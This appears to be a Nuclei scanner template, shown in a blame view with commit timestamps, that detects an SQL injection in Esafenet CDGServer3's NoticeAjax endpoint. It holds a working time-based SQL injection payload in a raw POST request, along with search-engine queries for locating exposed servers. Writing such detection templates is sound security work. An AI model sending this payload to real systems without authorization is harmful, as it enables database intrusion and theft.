2024-07-24 14:41:23 +00:00
|
|
|
id: esafenet-noticeajax-sqli
|
2024-07-24 05:39:18 +00:00
|
|
|
|
|
|
|
info:
|
|
|
|
name: Esafenet CDG NoticeAjax - Sql Injection
|
|
|
|
author: adeljck
|
|
|
|
severity: high
|
|
|
|
description: |
|
|
|
|
CDGServer3 NoticeAjax Interface Sql Injection.
|
|
|
|
metadata:
|
|
|
|
verified: true
|
|
|
|
max-request: 1
|
|
|
|
fofa-query: title="电子文档安全管理系统",body="CDGServer3/"
|
|
|
|
hunter-query: web.title="电子文档安全管理系统",web.body="CDGServer3/"
|
|
|
|
product: electronic_document_security_management_system
|
|
|
|
vendor: esafenet
|
|
|
|
tags: esafenet,sqli
|
|
|
|
|
|
|
|
http:
|
|
|
|
- raw:
|
|
|
|
- |
|
2024-07-24 14:41:23 +00:00
|
|
|
@timeout: 10s
|
2024-07-24 05:39:18 +00:00
|
|
|
POST /CDGServer3/NoticeAjax;Service HTTP/1.1
|
|
|
|
Host: {{Hostname}}
|
2024-07-24 14:41:23 +00:00
|
|
|
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
|
2024-07-24 05:39:18 +00:00
|
|
|
Content-Type: application/x-www-form-urlencoded
|
|
|
|
|
2024-07-24 14:41:23 +00:00
|
|
|
command=delNotice¬iceId=123';if+(select+IS_SRVROLEMEMBER('sysadmin'))=1+WAITFOR+DELAY+'0:0:5'--
|
|
|
|
|
2024-07-24 05:39:18 +00:00
|
|
|
matchers:
|
2024-07-24 14:41:23 +00:00
|
|
|
- type: dsl
|
|
|
|
dsl:
|
|
|
|
- 'contains(content_type,"text/xml")'
|
|
|
|
- 'contains(body,"OK")'
|
|
|
|
- 'status_code == 200'
|
|
|
|
condition: and
|
2024-07-29 10:01:00 +00:00
|
|
|
# digest: 490a00463044022009c985318bd9f91927035c5788f4c5f73f14ae4f1ac1dd60090bdf0b22cf88ff02204e704959ef142792827df00a87364d1d86f7245d5561f6556b17042309d0de2a:922c64590222798bb761d5b6d8e72950
|